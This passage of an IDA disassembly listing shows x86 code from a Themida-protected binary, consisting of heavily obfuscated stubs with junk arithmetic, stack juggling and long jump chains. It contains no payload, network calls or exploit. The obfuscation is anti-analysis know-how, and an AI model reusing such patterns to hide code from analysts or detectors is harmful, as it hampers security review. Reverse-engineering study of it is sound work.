		jmp	loc_5557AE
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557EA0:				; CODE XREF: sub_556A70-1808j
		xor	ebx, eax
		jmp	loc_55A9C5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557EA7:				; CODE XREF: Themida_:00559765j
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_557561

; =============== S U B	R O U T	I N E =======================================



sub_557EBA	proc near		; CODE XREF: sub_5582B3-1E0Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055A41B SIZE 0000004C BYTES

		push	ebp
		mov	ebp, 79A55250h
		or	ebp, 1B572952h
		neg	ebp
		add	ebp, 0FFFFFFFFh
		shl	ebp, 7
		shr	ebp, 2
		xor	ebp, 365FC63Bh
		sub	ebx, ebp
		pop	ebp
		mov	ebp, [esp+0]
		push	ebp
		push	esp
		jmp	loc_55A41B
sub_557EBA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557EE7:				; CODE XREF: sub_556A70-391Bj
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_5570F9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550E2C


loc_557EF3:				; CODE XREF: sub_550E2C+3j
		mov	[esp+4+var_4], esi
		push	437616D2h
		pop	esi
		add	esi, 2676350Dh
		not	esi
		jmp	loc_557F90
; END OF FUNCTION CHUNK	FOR sub_550E2C

; =============== S U B	R O U T	I N E =======================================



sub_557F09	proc near		; CODE XREF: sub_5516F8+98FDj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00551062 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055550F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055639E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559D44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B69F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055BFB9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C157 SIZE 0000000E BYTES

		push	ebx
		push	561665CAh
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 4A627CC0h
		shl	ebp, 8
		xor	ebp, 523FC757h
		and	ebx, ebp
		push	[esp+8+var_8]
		jmp	loc_55B69F
sub_557F09	endp

; ---------------------------------------------------------------------------


loc_557F31:				; CODE XREF: Themida_:00552E1Fj
		and	al, 73h
		push	ecx
		mov	ch, 0E6h
		jmp	loc_551999
; ---------------------------------------------------------------------------


loc_557F3B:				; CODE XREF: Themida_:00554DECj
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		pop	edx
		mov	ebx, 43970571h
		jmp	loc_55B6EA
; ---------------------------------------------------------------------------


loc_557F4B:				; CODE XREF: Themida_:00558315j
		pop	ebp
		add	eax, 2B4764FDh
		add	eax, ecx
		jmp	loc_554E62
; ---------------------------------------------------------------------------


loc_557F58:				; CODE XREF: Themida_:00556092j
		push	eax
		mov	al, ch
		jmp	loc_55C4A1
; ---------------------------------------------------------------------------
		push	2FFAh
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2A9343B6h
		sub	ebx, 0FFFFFFFFh
		push	eax
		push	ebx
		mov	ebx, 0D0518E9h
		jmp	loc_55979D
; ---------------------------------------------------------------------------


loc_557F80:				; CODE XREF: Themida_:00558D2Aj
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_551EAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550E2C


loc_557F90:				; CODE XREF: sub_550E2C+70D8j
		shr	esi, 2
		jmp	loc_552E96
; END OF FUNCTION CHUNK	FOR sub_550E2C
; ---------------------------------------------------------------------------


loc_557F98:				; CODE XREF: Themida_:005521FCj
		mov	esp, [esp]
		jmp	loc_55951E

; =============== S U B	R O U T	I N E =======================================



sub_557FA0	proc near		; CODE XREF: sub_556A70+665j

; FUNCTION CHUNK AT 00552BFF SIZE 00000011 BYTES

		push	ebx
		push	18872C14h
		pop	ebx
		jmp	loc_552BFF
sub_557FA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_557FAC:				; CODE XREF: sub_552B74+282Aj
		xor	[esp+0Ch+var_C], esi
		jmp	loc_55856F
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557FB4:				; CODE XREF: sub_556A70+7C1j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A6CD


loc_557FB9:				; CODE XREF: sub_55A6CD-70EAj
		pop	esp
		push	edi
		push	ebp
		push	28E6F0Ah
		jmp	loc_55991D
; END OF FUNCTION CHUNK	FOR sub_55A6CD
; ---------------------------------------------------------------------------


loc_557FC6:				; CODE XREF: Themida_:0055AFDDj
		sub	ebx, 0A2A9DE49h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 13ABF6B5h
		jmp	loc_55571F
; ---------------------------------------------------------------------------


loc_557FDE:				; CODE XREF: Themida_:00554E03j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_558D56
; ---------------------------------------------------------------------------


loc_557FF3:				; CODE XREF: Themida_:005557CEj
		mov	edx, esp
		push	4C61h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55A7FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558007:				; CODE XREF: sub_556A70+3BB1j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edi
		mov	edi, esp
		jmp	loc_552A62
; ---------------------------------------------------------------------------


loc_55801A:				; CODE XREF: sub_556A70+4DA6j
		mov	[ecx], al
		mov	ecx, [esp+0]
		jmp	loc_55A7E6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_552A2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558033:				; CODE XREF: sub_556A70+5CD1j
		mov	ecx, 699E6B59h
		shl	ecx, 6
		xor	ecx, 4D5A1555h
		not	ecx
		jmp	loc_555BFC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558048:				; CODE XREF: Themida_:00552DF9j
		not	ebx
		xor	ebx, 60DB49FFh
		and	ebx, 13793FADh
		jmp	loc_559C82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55805B:				; CODE XREF: sub_556A70+1FE7j
		mov	edx, 0ED392407h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 17D35E23h
		or	edx, ebx
		pop	ebx
		add	edx, 72AE2889h
		jmp	loc_559853
; ---------------------------------------------------------------------------


loc_558077:				; CODE XREF: sub_556A70+3DBDj
		pop	esi
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_558C33
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558080:				; CODE XREF: Themida_:0055326Fj
		push	ebx
		mov	ebx, 0F1DB013Dh
		jmp	loc_55CADE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55808B:				; CODE XREF: sub_556A70-1747j
		xor	ecx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ecx
		xor	ecx, [esp-0Ch+arg_8]
		jmp	loc_552FE2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558099:				; CODE XREF: Themida_:0055B31Aj
		pop	ebx
		pop	edi
		add	ebx, 72784B0Ah
		add	ebx, 63B9620Ah
		add	eax, ebx
		pop	ebx
		add	eax, 61A523ACh
		jmp	loc_551EC5
; ---------------------------------------------------------------------------


loc_5580B4:				; CODE XREF: Themida_:0055CE87j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	4BAEh
		mov	[esp], ebp
		push	esp
		jmp	loc_553F28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5580D7:				; CODE XREF: sub_556A70-462Ej
		add	ebp, 7D503D14h
		jmp	loc_555011
; ---------------------------------------------------------------------------


loc_5580E2:				; CODE XREF: sub_556A70-258Fj
					; sub_556A70+ADEj ...
		push	dword ptr [edi+24h]
		mov	ecx, [esp-16h+arg_10+2]
		push	eax
		mov	eax, esp
		jmp	loc_55CB0C
; ---------------------------------------------------------------------------


loc_5580F0:				; CODE XREF: sub_556A70-28BCj
		mov	esi, ebp
		jmp	loc_554FFF
; ---------------------------------------------------------------------------


loc_5580F7:				; CODE XREF: sub_556A70-47CEj
		pop	esp
		sub	esi, 5D3870F7h
		xchg	ebp, esi
		inc	ebp
		jmp	loc_55C785
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558106:				; CODE XREF: Themida_:00559559j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5559A2
; ---------------------------------------------------------------------------


loc_55811E:				; CODE XREF: Themida_:0055BAD1j
		or	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_557A01
; ---------------------------------------------------------------------------


loc_558128:				; CODE XREF: Themida_:00550C36j
		add	al, 79h
		jmp	loc_559EAC
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_5578CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558137:				; CODE XREF: sub_556A70+53E0j
		mov	esi, edx
		jmp	loc_55733F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	0DDh
		mov	[esp], esi
		mov	esi, 522D86C1h
		jmp	loc_550C5F
; ---------------------------------------------------------------------------


loc_558153:				; CODE XREF: Themida_:00554EFCj
		sub	esp, 4
		mov	[esp], ebp
		push	28h
		pop	ebp
		push	ebp
		pop	edx
		jmp	loc_557C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558AE7


loc_558166:				; CODE XREF: sub_558AE7+6j
		push	35C7h
		mov	[esp+8+var_8], ebx
		pop	esi
		push	esi
		push	eax
		push	5060h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 38A81CF3h
		shl	ebx, 3
		add	ebx, 64CE6C1Dh
		jmp	loc_55CF56
; END OF FUNCTION CHUNK	FOR sub_558AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55818C:				; CODE XREF: sub_552B74-226j
		pop	ebx
		dec	cl
		not	cl
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	ecx
		jmp	loc_550B13
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5581A0:				; CODE XREF: sub_556A70-1FEj
		neg	ebp
		or	ebp, 3F9F714Eh
		not	ebp
		add	ebp, 49D601CEh
		jmp	loc_55577A
; ---------------------------------------------------------------------------


loc_5581B5:				; CODE XREF: sub_556A70+5493j
		add	esp, 4
		pop	edx
		pop	ecx


loc_5581BD:				; CODE XREF: sub_556A70+D74j
		push	24F4h
		mov	[esp-1Ch+arg_18], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, 30056EE9h
		add	edi, 5BEF6F5Dh
		add	edi, ebx
		sub	edi, 5BEF6F5Dh
		sub	edi, 30056EE9h
		pop	ebx
		push	30D6h
		mov	[esp-18h+arg_14], ebp
		jmp	loc_5536D3
; ---------------------------------------------------------------------------


loc_5581F5:				; CODE XREF: sub_556A70+5BECj
		pop	eax
		add	ebx, ecx
		push	edx
		mov	edx, 231E628Eh
		push	esi
		mov	esi, 688060E8h
		jmp	loc_551CCB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_558209:				; CODE XREF: sub_5584F8-2DF4j
		push	7C5Ch
		mov	[esp+4+var_4], ecx
		jmp	loc_55CF5D
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558216:				; CODE XREF: sub_556A70-5739j
		xor	eax, 56DA6217h
		add	ecx, 73CD47E9h
		jmp	loc_55B8E5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558226:				; CODE XREF: Themida_:00554CEFj
		push	edx
		mov	edx, 178F7456h
		jmp	loc_5588BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558231:				; CODE XREF: sub_556A70+283Ej
		pop	ecx
		jmp	loc_555AE4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558237:				; CODE XREF: Themida_:0055B8ACj
		imul	cx
		jmp	loc_55A72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55823F:				; CODE XREF: sub_556A70+4BF6j
		xor	[esp-1Eh+arg_18+2], esi
		jmp	loc_55C6B9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558247:				; CODE XREF: Themida_:0055A1ACj
		push	ebx
		mov	ebx, esp
		push	63D7h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		sub	ebx, 25055FAEh
		add	ebx, ebp
		add	ebx, 25055FAEh
		jmp	loc_55CEBA
; ---------------------------------------------------------------------------


loc_558278:				; CODE XREF: Themida_:0055ACE2j
		mov	[esp], ecx
		mov	ecx, 0AF28F5h
		sub	edx, ecx
		jmp	loc_5583BD

; =============== S U B	R O U T	I N E =======================================



sub_558287	proc near		; CODE XREF: sub_555903-E1Dj
		push	ebp
		jmp	loc_5576E1
sub_558287	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55828D:				; CODE XREF: sub_556A70+377Dj
		pop	ecx
		add	esp, 4
		sub	dl, bl
		mov	bx, word ptr [esp-26h+arg_20+2]
		add	esp, 2
		add	dl, 0C8h
		add	al, dl
		mov	edx, [esp-2Ah+arg_24+2]
		add	esp, 4
		push	edx
		mov	dh, 43h
		push	ebx
		mov	bl, dh
		jmp	loc_550AA3
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5582B3	proc near		; CODE XREF: sub_556A70-173Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553517 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553BCA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055647C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055A6DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C9B2 SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 0FE7FA30Bh
		sub	edi, edx
		pop	edx
		xor	eax, edi
		push	dword ptr [esp+0]
		pop	edi
		push	esi
		push	esp
		jmp	loc_553BCA
sub_5582B3	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_550BB5
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		jmp	loc_558C09
; ---------------------------------------------------------------------------


loc_5582FA:				; CODE XREF: Themida_:00552AECj
		push	edi
		mov	edi, 5E9414F1h
		sub	edx, edi
		pop	edi
		jmp	loc_55186D
; ---------------------------------------------------------------------------


loc_558308:				; CODE XREF: Themida_:0055395Cj
		push	ebp
		mov	ebp, 427B46C6h
		mov	ecx, 427B46C2h
		xor	ecx, ebp
		jmp	loc_557F4B
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		push	15Fh
		mov	[esp], eax
		mov	eax, 68E52877h
		push	ecx
		mov	ecx, 4CE83DFBh
		not	ecx
		jmp	loc_55AAAA
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55833F:				; CODE XREF: sub_556A70+1A67j
		push	eax
		mov	eax, 16A27D80h
		sub	edi, eax
		pop	eax
		add	edi, 6F647959h
		jmp	sub_5516F8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558353:				; CODE XREF: Themida_:0055A153j
		mov	esi, 722168BAh
		jmp	loc_55960F
; ---------------------------------------------------------------------------


loc_55835D:				; CODE XREF: Themida_:005591DBj
		pop	esp
		mov	[esp], eax
		jmp	loc_55843A
; ---------------------------------------------------------------------------


loc_558366:				; CODE XREF: Themida_:0055C20Bj
		mov	eax, esp
		push	3FF7h
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_55104D
; ---------------------------------------------------------------------------


loc_55837C:				; CODE XREF: Themida_:005551DEj
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55B0F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558391:				; CODE XREF: sub_556A70-502Cj
		mov	[edi+eax*4], dh
		jmp	loc_550B06
; ---------------------------------------------------------------------------


loc_558399:				; CODE XREF: sub_556A70-215Fj
		mov	edx, esp
		jmp	sub_55A704
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550F53


loc_5583A0:				; CODE XREF: sub_550F53+1D29j
		xor	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_557AF1
; END OF FUNCTION CHUNK	FOR sub_550F53
; ---------------------------------------------------------------------------


loc_5583AA:				; CODE XREF: Themida_:00554A89j
		add	esp, 4
		sub	al, dh
		pop	edx
		push	1617h
		mov	[esp], ebx
		jmp	loc_553FC7
; ---------------------------------------------------------------------------


loc_5583BD:				; CODE XREF: Themida_:00558282j
		pop	ecx
		add	esi, 77533EBEh
		jmp	loc_55CDF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5583C9:				; CODE XREF: sub_556A70+3307j
		pop	eax
		jmp	loc_550CF4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5583CF:				; CODE XREF: Themida_:00551C3Ej
		push	eax
		jmp	loc_55B0C1
; ---------------------------------------------------------------------------


loc_5583D5:				; CODE XREF: Themida_:00551E02j
		pop	esp
		push	ebp
		sub	esp, 4
		jmp	loc_5539EE
; ---------------------------------------------------------------------------


loc_5583DF:				; CODE XREF: Themida_:00550A7Aj
		mov	bh, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5529B4
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5583F6:				; CODE XREF: sub_556A70-309Aj
		pop	esp
		sub	esp, 4
		mov	[esp-20h+arg_1C], ebx
		mov	bh, 0E3h
		push	ax
		mov	al, 0B5h
		xor	bh, al
		jmp	loc_550C49
; ---------------------------------------------------------------------------


loc_55840A:				; CODE XREF: sub_556A70+51C1j
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp-1Eh+arg_1C+2]
		mov	ecx, [esp-1Ah+arg_14+2]
		jmp	loc_556174
; ---------------------------------------------------------------------------


loc_55841A:				; CODE XREF: sub_556A70+3BE1j
		mov	[esp-1Ah+arg_14+2], eax
		mov	eax, 23CC0906h
		inc	eax
		add	eax, 0DC33F6FDh
		jmp	loc_559B0C
; ---------------------------------------------------------------------------


loc_55842D:				; CODE XREF: sub_556A70-5BFCj
		mov	ebp, 5BE668E4h
		add	ebp, 0FFFFFFFFh
		jmp	loc_55B131
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55843A:				; CODE XREF: Themida_:00558361j
		push	esp
		jmp	loc_551A26
; ---------------------------------------------------------------------------


loc_558440:				; CODE XREF: Themida_:00559833j
		pop	ebx
		jmp	loc_556E22
; ---------------------------------------------------------------------------


loc_558446:				; CODE XREF: Themida_:005515CAj
		sub	ebp, 0A9489D4Dh
		add	ecx, ebp
		jmp	loc_551749
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 708B57A6h
		jmp	loc_55980A
; ---------------------------------------------------------------------------


loc_55846F:				; CODE XREF: Themida_:0055522Ej
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, [esp]
		pop	ebx
		not	ebx
		add	ebx, 8450944Ah
		mov	ebp, ebx
		pop	ebx
		or	[edi+1Ch], ebp
		jmp	loc_556160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D0E


loc_55848B:				; CODE XREF: sub_558D0E-5D46j
		pop	ebx
		xor	edx, edi
		pop	edi
		xor	ebx, edx
		pop	edx
		xor	ebp, ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_55B639
; END OF FUNCTION CHUNK	FOR sub_558D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5584A3:				; CODE XREF: sub_556A70-489Aj
		pop	ecx
		sub	bl, dl
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	dh, 0CFh
		sub	dh, 87h
		shr	dh, 7
		add	dh, 24h
		sub	bl, dh
		pop	edx
		mov	edx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55C89E
; ---------------------------------------------------------------------------


loc_5584CE:				; CODE XREF: sub_556A70-26B4j
		xor	ecx, 94FEB805h
		sub	edi, ecx
		pop	ecx
		jmp	loc_55833F
; ---------------------------------------------------------------------------


loc_5584DC:				; CODE XREF: sub_556A70+71Ej
		pop	ebx
		add	esp, 4
		push	ax
		jmp	loc_5594D5
; ---------------------------------------------------------------------------


loc_5584EA:				; CODE XREF: sub_556A70+46A5j
		add	esp, 4
		push	esi
		mov	esi, 0D65D9FB9h
		jmp	loc_5553B7
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5584F8	proc near		; CODE XREF: sub_556A70-3E8Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00550A52 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00550AAD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00550C1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00550D15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00550F7E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005511F6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00551426 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00551B97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055205E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552375 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552498 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005535CB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553B45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554BD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005551E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005551F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005556F4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556238 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556457 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055685D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00558209 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005585A5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558789 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055897A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00558C43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558DB9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005591E0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559213 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005596E7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055993B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A119 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A8D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A92B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B11A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B2BA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055B305 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B363 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055B3BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B43B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055B8D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055CA93 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CCCB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CF5D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055CFA6 SIZE 00000015 BYTES

		sub	esp, 4
		jmp	loc_55205E
sub_5584F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558500:				; CODE XREF: sub_556A70-1059j
		and	ecx, 52FB7985h
		neg	ecx
		push	ebx
		mov	ebx, 0AFB4FA60h
		jmp	loc_558E51
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		jmp	loc_5593D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55851C:				; CODE XREF: sub_55AE6E-58B4j
		xor	al, dl
		jmp	loc_559AA3
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55852B:				; CODE XREF: sub_556A70-1DD0j
		mov	bl, 85h
		shl	bl, 3
		jmp	loc_559CF7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558535:				; CODE XREF: Themida_:00559C9Cj
		pop	ecx
		push	ebp
		jmp	loc_556877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55853C:				; CODE XREF: sub_556A70-4ABFj
		mov	ah, ch
		mov	dl, ah
		jmp	loc_55C890
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558545:				; CODE XREF: Themida_:0055B8CEj
		add	ecx, esi
		jmp	loc_558819
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_55A2E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558556:				; CODE XREF: sub_556A70+208j
		mov	esi, 24D72869h
		mov	ebx, 68236284h
		sub	ebx, esi
		jmp	loc_5541EB
; ---------------------------------------------------------------------------


loc_558567:				; CODE XREF: sub_556A70+21CEj
		mov	[esp+4+var_4], ecx
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55856F:				; CODE XREF: sub_552B74+543Bj
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+4+var_4], edx
		jmp	loc_55B7CE
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5521AC


loc_55857D:				; CODE XREF: sub_5521AC+31DEj
		inc	ah
		push	cx
		mov	ch, 75h
		add	ah, ch
		pop	cx
		sub	bl, ah
		pop	eax
		sub	bl, 9
		add	bl, 2Ch
		sub	bl, al
		sub	bl, 2Ch
		push	edx
		mov	dh, 9
		jmp	loc_55CF71
; END OF FUNCTION CHUNK	FOR sub_5521AC
; ---------------------------------------------------------------------------


loc_55859D:				; CODE XREF: Themida_:0055230Dj
		xor	eax, edx
		pop	edx
		jmp	loc_55AC2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


